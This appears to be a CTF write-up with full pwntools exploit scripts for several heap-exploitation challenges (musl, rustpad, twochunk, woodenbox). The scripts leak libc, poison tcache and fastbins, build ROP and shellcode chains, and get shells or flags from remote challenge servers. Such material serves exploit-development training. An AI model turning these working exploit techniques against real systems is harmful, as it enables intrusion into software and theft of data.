libc=ELF('./libc.so.6')
#p=process('./pwn',env={"LD_PRELOAD":"./libc.so.6"})
p=remote("121.36.209.145",9998)
p.sendafter("? \n","X"*0x90+p64(0x71)+p64(0xbabe132))
add(0x200,"B"*0x200)#0
add(0x18,"A"*0x18)#1
add(0x18,"A"*0x18)#2
add(0x200,"A"*0x200)#3
edit(1,"A"*0x18+p64(0x91))
edit(3,p64(0x21)*0x20)
free(2)
add(0x18,"A")
show(3)
base=u64(p.readline()[:-1]+'\0\0')-(0x7ffff7dd1b78-0x7ffff7a0d000)
log.warning(hex(base))

add(0x68,"AC")
free(3)
edit(4,p64(0x603280))
add(0x68,"A")
add(0x1,"A")
add(0x1,"A")
add(0x1,"A")
add(0x1,"A")
add(0x1,"A")
add(0x1,"A"*0x71+"\x00")
add(0x68,"A")

rdi=0x0000000000021102+base
rsi=0x00000000000202e8+base
rdx=0x0000000000001b92+base
rax=0x0000000000001b92+base
syscall=0x00000000000bc375+base
rbp=0x000000000001f930+base
leave=0x0000000000042351+base
libc.address=base
rop=flat(rax,0,rdi,0,rsi,0x00604000-0x800,rdx,0x300,syscall,0x00604000-0x800)
edit(11,rop.ljust(0x50,'\0')+p64(libc.sym['__free_hook']))
edit(0,p64(libc.sym['setcontext']+0x35))
magic=0x603280
payload=p64(0)*3
payload=payload.ljust(0x68)+p64(magic&amp;0xffffff000)+p64(0x1000)
payload=payload.ljust(0x88)+p64(0x7)
payload=payload.ljust(0xa0,'\x00')+p64(0x603290)+p64(libc.sym['mprotect'])
edit(1,payload)
show(1)

#gdb.attach(p,'b *{}'.format(hex(0x47b75+base)))
free(1)
sh="""
mov rdi,rax
mov rax,0
mov rsi,0x603280
mov rdx,0x100
syscall
mov al,1
mov rdi,1
mov rsi,0x603280
mov rdx,0x100
syscall
"""


p.send(asm(shellcraft.open("./flag"))+asm(sh))
p.interactive('n132>')

musl

用的是musl-libc,看一下内存发现可以直接泄漏然后有个溢出造成任意写,继而泄漏stack,完成ROP.
(remote的偏移需要一点点爆破)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
def cmd(c):
p.sendlineafter("> ",str(c))
def add(size,c="A\n",flag=0):
cmd(1)
p.sendlineafter(">",str(size))
if(flag):
p.sendlineafter(">","Y")
else:
p.sendlineafter(">","N")
if(size!=0):
p.sendafter(">",c)
def edit(idx,c):
cmd(3)
p.sendlineafter(">",str(idx))
p.send(c)
def free(idx):
cmd(2)
p.sendlineafter(">",str(idx))
def show(idx):
cmd(4)
p.sendlineafter(">",str(idx))
#context.log_level='debug'
context.arch='amd64'
#libc=ELF('./libc.so.6')
flag=0x000000000602038
p=remote("119.3.158.103",19008)
#p=process('./ppp',env={"LD_PRELOAD":"./libc.so"})
add(0x10,"AAA\n")
add(0x0)
show(1)
base=u64(p.read(6)+'\0\0')-(0x7f1b10207e50-0x7f1b0ff75000)#+0x18
log.warning(hex(base))
add(0x80,p64(0xdeadbeef2)+'\n')
add(0x10)#3
add(0x10)#4
free(0x3)
free(0x4)
add(0x10,"A"*0x10+p64(0x21)*2+p64(0x20+0x00007f911dc6b000-0x00007f911d9db000+base+8-0x10)*2+'\n',1)#3
add(0x10,"FLAG\n")#4
call=0x7f8833bda318-0x00007f8833948000+base

stack=0x7f6eebb192f0-0x7f6eeb884000+base
edit(2,p64(0xdeadbeef)+p64(0x80)+p64(call)+p64(0x80)+p64(0x602030)+p64(0x80)+p64(stack)+p64(0x80)+p64(0x7fe73119f010-0x7fe730f0f000+base)+'\n')
edit(2,p64(0xdeadbeef)+"\n")
edit(3,p64(0)+'\1\x0a')

show(4)
stack=u64(p.read(6)+'\0\0')#-(0x00007ffcba657898-0x00007ffcba637000)
#stack+=0x1000
#stack=stack
log.warning(hex(stack))
edit(5,flat(0x80,stack+0x7ffe74dcbfe8-0x7ffe74dcc068-0x40)+'\n')
#gdb.attach(p,'b *0x000000000400F45')
ret=0x000000000400F80
rsi=0x000000000001c237+base
rdx=0x000000000001bea2+base
rdi=0x0000000000014862+base
system=0x7ff4bb16a688-0x7ff4bb128000+base
exe=0x7f49d027dc09-0x7f49d023c000+base
edit(1,p64(ret)*8+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rdi)+p64(0x7ff4bb1b9345-0x7ff4bb128000+base)+p64(exe)+'\n')
p.interactive()

rustpad

根据提示可以找到一个类似的原题,改改exp就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

debug=0

context.terminal = ['tmux', 'splitw', '-h' ]
context.log_level='debug'

if debug:
p=process('./pwn')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
#gdb.attach(p)
else:
p=remote('159.138.4.209', 1001)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

code = """
static UNIT: &amp;'static &amp;'static () = &amp;&amp;();
static gstr:&amp;'static str = "YOUR STRING HERE";

fn foo<'a, 'b, T>(_: &amp;'a &amp;'b (), v: &amp;'b T) -> &amp;'a T { v }

fn bad<'a, T>(x: &amp;'a T) -> &amp;'static T {
let f: fn(_, &amp;'a T) -> &amp;'static T = foo;
f(UNIT, x)
}

pub fn code(){
fn inner() -> &amp;'static Vec<u8> {
let x = Box::new(Vec::new());
bad(&amp;*x)
}

let x = inner();
let mut y = Box::new((1usize, 2usize, 3usize));
println!("x: {:?} {} {}", x.as_ptr(), x.capacity(), x.len());

let mut r = |addr: usize| { y.0 = addr; x[0] };

let r64 = |r: &amp;mut FnMut(usize) -> u8, x: usize| {
let mut tmp = 0usize;
for j in 0..8 {
tmp |= (r(x+j) as usize) << (8 * j);
}
tmp
};
let dump = |r: &amp;mut FnMut(usize) -> u8, start: usize, len: usize| {
let mut out = Vec::with_capacity(len);
for i in 0..len {
out.push(r(start+i));
}
out
};

let mut prog_ptr: usize = &amp;gstr as *const _ as _;
let mut prog_str_addr = r64(&amp;mut r, prog_ptr);
let mut prog1 = prog_str_addr - (prog_str_addr &amp; 0xfff);
let heap: usize = Box::into_raw(Box::new(0x4242424242424242usize)) as _;
println!("y: {:?} {:?}", prog1, heap);
let mut dump_data = dump(&amp;mut r, prog1, 0x1000);
println!("data: {:?}", dump_data);
println!("end:");

//for i in 0..4092{
// if dump_data[i] == 114 &amp;&amp; dump_data[i+1] == 101 {
// for q in 0..100000000 {
// }
// }
//}
//println!("str: {:?}", dump(&amp;mut r, prog_str_addr, 0x10));
}
"""
ru('thought?')
se(code)
ru("data: ")
data = eval(ru("end")[:-3])
s = ''
for i in data:
s += chr(i)

f = s.index('flag')
print(s[f:f+0x40])

p.interactive()

twochunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *

debug=1

context.terminal = ['tmux', 'splitw', '-h' ]
context.log_level='debug'

if debug:
p=process('./twochunk')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('',)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def add(idx,sz):
sl('1')
ru('idx:')
sl(str(idx))
ru('size:')
sl(str(sz))
ru('choice:')

def delete(idx):
sl('2')
ru('idx:')
sl(str(idx))
ru('choice:')

def show(idx):
sl('3')
ru('idx: ')
sl(str(idx))

def edit(idx,content):
sl('4')
ru('idx: ')
sl(str(idx))
ru('content')
se(content)
ru('choice: ')

def leave():
sl('6')
ru('leave your end message: ')
se('123')
ru('choice:')

def back():
sl('7')


ru('name')
se('123')
ru('message')
se('123')
ru('choice:')

add(0,0xf8)
add(1,0xf8)
delete(0)
delete(1)
add(0,23333)
show(0)
heap = u64(ru('1.')[:-2])
pbase = heap - 0x52a0
delete(0)

for i in range(7):
add(0,0x118)
delete(0)
add(0,0x88)
for i in range(7):
add(1,0x88)
delete(1)
add(1,0x118)
delete(0)
add(0,0x228)
delete(1)
add(1,0x88)
delete(0)
add(0,0x88)
delete(1)
add(1,0x3f8)
delete(1)
add(1,0x88)
delete(1)
add(1,0x3f8)
delete(1)
edit(0,'\0'*0x88+p64(0x91)+p64(heap+0x9d0)+p64(pbase+0x4010-0x10))
leave()
add(1,0x88)
delete(1)
delete(0)
add(0,0x118)
add(1,0x118)
fake = p64(0)+p64(0x111)+p64(pbase+0x40a0-0x18)+p64(pbase+0x40a0-0x10)
fake = fake.ljust(0x110,'\0')
fake += p64(0x110) + p64(0x120)
edit(0,fake)
delete(1)
edit(0,'\0'*0x18+p64(pbase+0x40b0)+p64(0x100)+p64(0x23333000)+p64(0x100))
edit(1,p64(pbase+0x1040)+'\0'*0x28+p64(pbase+0x3F70)+'\0'*0x10+'/bin/sh\0')
back()
libc = u64(ru('\n')[:-1]+'\0\0')
base = libc - 0x78880
system = base + 0x304e0
edit(1,p64(system)+'\0'*0x28+p64(0x23333048))
back()
sl('echo Ch4r1l3;cat flag;echo Ch4r1l3')

print(hex(heap))
print(hex(libc))

p.interactive()

woodenbox

堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
def cmd(c):
p.sendafter("ice:",str(c))
def add(size,c="A"):
cmd(1)
p.sendafter(":",str(size))
if(size!=0):
p.sendafter(":",c)
def free(idx):
cmd(3)
p.sendafter(":",str(idx))
def edit(idx,size,c='A'):
cmd(2)
p.sendafter(":",str(idx))
p.sendafter(":",str(size))
p.sendafter(":",c)

#context.log_level='debug'
context.arch='amd64'
libc=ELF('./ecc')
#p=process('./pwn1',env={'LD_PRELOAD':"./ecc"})
p=remote("121.36.215.224",9998)
add(0x18)#0
add(0x18)#0
add(0x18)#0
add(0x18)#1
add(0x68)#2
add(0x18)#3
add(0x68)#4
add(0x88)#5
add(0x18)#6
free(7)
edit(5,0x88,"A"*0x68+p64(0x71)+'\xdd\x25')
free(2)
free(4)
free(1)

add(0x18)
edit(0,0x88,"A"*0x18+p64(0x71)+'\x80')
add(0x68)
add(0x68)
add(0x68,"\x00"*0x33+p64(0x1802)+p64(0)*3+'\x00')
#gdb.attach(p,'')
p.read(0x40)
base=u64(p.read(8))-(0x7ffff7dd2600-0x7ffff7a0d000)
log.warning(hex(base))

free(0)
free(1)
add(0x18)
libc.address=base
edit(0,0x88,"\x00"*0x18+p64(0x71)+p64(libc.sym['__malloc_hook']-35))
add(0x68)
one=base+0xf02a4
add(0x68,'\x00'*19+p64(one))
cmd(4)

p.interactive('n132>')